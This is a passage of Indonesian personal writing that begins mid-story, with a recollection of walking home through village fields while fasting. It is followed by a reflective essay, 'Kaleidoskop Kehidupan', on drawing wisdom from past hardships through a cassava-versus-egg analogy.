cukup pulih, Evi mengantarku sampai sebrang jalan raya, semakin sore ternyata semakin jarang mobil yang lewat. Namun beruntung, tak lama menunggu, akupun berlalu dengan sebuah minibus, meninggalkan Evi dengan membawa perasaan lega dihati. Dalam lamunan aku tersadar, mobil yang harus kunaiki harus satu kali lagi, kalu sore-sore begini sudah tidak ada. Ah…… sialnya…… kalau harus naik ojek mana cukup uangnya. Tak lama berfikir akupun membuat keputusan untuk turun di jalan yang berbeda, sebuah jalan desa yang akan mengantarku pulang tapi dengan resiko harus berjalan kaki. Kulihat matahari senja mulai duduk diperaduannya, sinar merah keemasan menghiasi langit sore itu. Lembayung kuning membuat suasana cukup terang. Jalanan tampak sepi, hanya sawah dan perkebunan yang terhampar luas. Belum setengah perjalanan pulang ternyata cukup menyita waktu lama. Adzan maghrib berkumandang, kuputuskan untuk shalat maghrib di rumah temanku, yang jaraknya kurang lebih 200 m lagi. Hari semakin gelap, kupercepat langkah menyusuri perkebunan tebu dikanan-kiri dengan jantung berdegup kencang. Kurasakan perut ini sakit, aku teringat hari ini sedang puasa. Sekarang sudah waktunya berbuka. Senyum seorang sahabat dengan hangat menyapa kedatanganku, dihidangkannya secangkir kopi dan makanan ringan. Alhamdulillah akhirnya aku bisa berbuka puasa. Seusai shalat maghrib aku sedikit berbincang, tapi tak lama menjelang isya aku pamit pulang. Rumahku ada di desa sebrang, jadi perjalanan pun harus dilanjutkan, kurang lebih 20 menit lagi baru sampai dirumah. Dengan sedikit keraguan kaki ini melangkah menapaki jalanan desa yang gelap gulita, malam itu rembulan hanya tipis memancarkan sinarnya, sejenak melepas kekhawatiran kulihat langit dengan sejuta pesonanya, milyaran bintang berpendar membentuk panorama angkasa. Jangkrik-jangkrik berformasi membentuk sebuah melodi, kulihat ada sinar senter di tengah sawah, biasanya itu adalah petani yang sedang memeriksa sawahnya atau pencari belut yang biasa beroperasi pada saat setelah adzan isya berkumandang. Syukurlah akhirnya aku sampai rumah dengan selamat. Pengalaman yang cukup berkesan dan memberi kenangan dalam hidupku. Hingga detik ini kenangan itu masih tersimpan rapi si lubuk hati. Tulisan ini dibuat kurang lebih satu setengah tahun yang lalu..

Kaleidoskop Kehidupan

Kalidoskop Kehidupan
Oleh
Muhammad Teguh Asep Suandi
04 Januari 2010, 13.00
Meretas kembali perjalanan hidup masa lalu demi kesuksesan dimasa mendatang, merekahkan kuncup-kuncup impian yang selama ini tersimpan dalam hati yang terdalam, mendatangkan panorama nyata kehidupan, kehidupan yang dulu sempat terlewati. Hikmah-hikmah yang sempat terpendam, mengorek kebijaksanaan dalam sebuah ketidakadilan yang pada akhirnya mengantarkan kepada puncak kenikmatan ukhrawi dan duniawi.
Disetiap perjalanan hidup terkadang kita terlalu dipusingkan dengan masalah yang ada, kita lupa bahkan sangat lupa apa sebenarnya yang menjadi tujuan adanya masalah dalam kehidupan. Selama ini kita terlena dengan rumitnya masalah tanpa dapat mengambil hikmah dari masalah yang ada. Hidup ini harus seperti ubi, setidaknya itulah sebuah kata-kata sederhana yang patut kita contoh.
Ya, hidup ini harus seperti ubi, jangan seperti telur. Ketika ubi dimasukkan kedalam air yang mendidih, ubi akan keluar dalam keadaan lunak sedangkan telur, ketika dimasukkan kedalam air yang mendidih, telur akan keluar dalam keadaan keras. Kita analogikan air yang mendidih adalah sebuah masalah yang terus menerus menimpa manusia, siapapun itu tanpa memandang apa jabatan dan strata sosialnya.
Manusia pun bermacam-macam hasilnya setelah tertimpa masalah, ada yang menjadi pemurung, traumatis, menjadi takut akan mencoba, tidak ada gurat senyum diwajahnya… miris sekali bukan..? beruntunglah bagi mereka yang ketika keluar dari masalah mereka menjadi lebih matang dalam menjalani dan memaknai kehidupan, lebih mengenal siapa diri mereka dan lebih mengenal siapa tuhan mereka, guratan senyum selalu tersirat dalam setiap lekuk wajahnya. Inilah yang seharusnya kita contoh.
Menghargai diri sendiri akan banyak berpengaruh positif terhadap mental dan jiwa, banyak hal yang dapat dilakukan dan salah satunya adalah mengenang masa lalu, masa lalu bukan hal yang harus dihindari karena bagaimanapun juga itu masa yang telah dilalui masa dimana kita pernah ada didalamnya, hanya ruang dan waktu yang membedakan. Hikmah masa lalu terasa sangat bermanfaat ketika ada determinasi untuk terus menggalinya, menarik benang merah dari setiap masalah, mengambil esensi dari sebuah perjalanan panjang kehidupan.